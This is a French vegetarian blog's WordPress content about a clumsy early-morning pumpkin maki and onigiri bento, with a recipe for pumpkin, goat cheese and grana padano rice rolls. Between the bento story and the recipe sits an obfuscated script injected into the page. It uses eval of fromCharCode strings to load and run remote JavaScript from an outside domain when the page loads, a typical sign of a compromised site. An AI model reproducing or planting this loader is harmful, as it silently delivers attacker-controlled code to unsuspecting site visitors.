<p>Mais trop tard pour faire machine arrière, le riz, les pommes de terre et la citrouille étaient déjà en train de cuire dans le rice cooker. Du fin fond de mon dodo j&rsquo;avais eu la brillante idée de faire des onigiri ou des maki,(à la citrouille, parce que c&rsquo;est ce que j&rsquo;avais sous la main). Ça serait rapide et pas compliqué à faire et surtout pratique pour Jean-Patou qui allait avoir besoin de quelque chose de facile à manger. Mais en live, pieds nus dans ma cuisine silencieuse, les choses ont semblé beaucoup moins évidentes. J&rsquo;ai commis toutes les erreurs de débutante, je me suis pas humidifié les doigts pour étaler le riz, j&rsquo;ai pas attendu qu&rsquo;il refroidisse&#8230; Je me suis cognée, brulée&#8230; Enfin bref, tout allait de travers!</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/bento-citrouille1.jpg"><img class="aligncenter size-large wp-image-752" title="bento citrouille" src="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/bento-citrouille1-687x1024.jpg" alt="" width="412" height="614" /></a></p>
<p style="text-align: left;">Et voilà le triste résultat. Dans ce premier bento on retrouve les très moches <a href="http://www.monbentovegetarien.com/?p=711" target="_blank">maki à la citrouille</a>, il y a aussi trois flutes au sésame, des quartiers de clémentine, (on voit à la manière dont ils sont disposés que la motivation n&rsquo;est plus là), une demi-prune, des croustilles au fromage, et un fondant au chocolat &laquo;&nbsp;made in Jean-Patou&nbsp;&raquo; avec des petites carottes en sucre, (elles attirent l&rsquo;œil et détournent l&rsquo;attention ailleurs que sur le reste du bento&#8230; hihi).</p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/petit-bento-citrouille1.jpg"><img class="aligncenter size-large wp-image-753" title="petit bento citrouille" src="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/petit-bento-citrouille1-687x1024.jpg" alt="" width="412" height="614" /></a></p>
<p>Dans le deuxième bento, c&rsquo;est la même chose, sans les flutes ni le fondant, mais avec deux pommes de terre à la croque au sel en plus, (avec des graines de nigelle).</p>
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/double-bento1.jpg"><img class="aligncenter size-large wp-image-754" title="double bento" src="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/double-bento1-687x1024.jpg" alt="" width="412" height="614" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">Bon j&rsquo;ai quand même la satisfaction d&rsquo;avoir fait plaisir Jean-Patou, il est revenu ravi de sa journée de travail et a trouvé que les maki &laquo;&nbsp;pas bien jolis&nbsp;&raquo; étaient succulents.  N&rsquo;empêche, cuisiner à 5 h du mat&rsquo; on m&rsquo;y reprendra pas de si tôt.</p>
<p style="text-align: left;">
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Maki et Onigiri à la Citrouille</title>
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		<pubDate>Wed, 09 Mar 2011 10:00:50 +0000</pubDate>
		<dc:creator><![CDATA[Cocyte]]></dc:creator>
				<category><![CDATA[Recettes]]></category>
		<category><![CDATA[citrouille]]></category>
		<category><![CDATA[maki]]></category>
		<category><![CDATA[onigiri]]></category>

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		<description><![CDATA[Pour 14 maki et 2 gros onigiri: - 200g de citrouille - 200g de riz gluant - 30g de grana padano fraichement rapé - 100g chèvre frais - 1c.c de muscade moulue - sel/poivre - 2 feuilles de nori - 1 cœur de sucrine Cuire le riz et la citrouille à la vapeur. Après cuisson [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/onigiri-citrouille.jpg"><img class="size-large wp-image-712  aligncenter" title="onigiri citrouille" src="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/onigiri-citrouille-687x1024.jpg" alt="" width="412" height="614" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: left;"><strong><span style="text-decoration: underline;">Pour 14 maki et 2 gros onigiri:</span></strong></p>
<p style="text-align: left;">- 200g de citrouille</p>
<p style="text-align: left;">- 200g de riz gluant</p>
<p style="text-align: left;">- 30g de grana padano fraichement rapé</p>
<p style="text-align: left;">- 100g chèvre frais</p>
<p style="text-align: left;">- 1c.c de muscade moulue</p>
<p style="text-align: left;">- sel/poivre</p>
<p style="text-align: left;">- 2 feuilles de nori</p>
<p style="text-align: left;">- 1 cœur de sucrine</p>
<p style="text-align: left;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/riz-citrouille.jpg"><img class="size-large wp-image-714  aligncenter" title="riz citrouille" src="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/riz-citrouille-1024x687.jpg" alt="" width="614" height="412" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">Cuire le riz et la citrouille à la vapeur. Après cuisson ajouter le chèvre, le grana padano et la muscade, bien mélanger et saler/poivrer à votre gout. C&rsquo;est rapide et simple comme bonjour.</p>
<p style="text-align: left;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/riz-citrouille-grana-padano.jpg"><img class="aligncenter size-large wp-image-715" title="riz citrouille grana padano" src="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/riz-citrouille-grana-padano-1024x687.jpg" alt="" width="614" height="412" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">Encore tout chaud c&rsquo;est délicieux, on dirait du risotto, par contre pour faire les maki et les onigiri il faut bien attendre que ça refroidisse. Ne faites pas comme moi sinon vous obtiendrez des maki sans forme et pas bien jolis&#8230;</p>
<p style="text-align: left;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/tapis-maki-citrouille.jpg"><img class="aligncenter size-large wp-image-717" title="tapis maki citrouille" src="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/tapis-maki-citrouille-1024x687.jpg" alt="" width="614" height="412" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">Au centre des maki j&rsquo;ai disposé des feuilles de sucrine pour un peu de  fraicheur et de croquant. Au départ j&rsquo;avais pensé à des bâtonnets de carotte mais je n&rsquo;en avais pas sous la main. Au final les maki étaient formidables au niveau du gout, (méga miam!), mais vraiment pas beaux à voir. C&rsquo;est dommage parce qu&rsquo;après un passage au frigo le riz restant était devenu bien compact et bien ferme. J&rsquo;ai voulu brusquer les choses et j&rsquo;ai été bien punie !</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/maki-citrouille1.jpg"><img class="aligncenter size-large wp-image-720" title="maki citrouille" src="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/maki-citrouille1-1024x687.jpg" alt="" width="614" height="412" /></a></p>
<p style="text-align: left;"><strong><span style="text-decoration: underline;">Moralité:</span> </strong>Patience et longueur de temps font plus que force ni que rage&#8230; (Jean de la Fontaine).</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">
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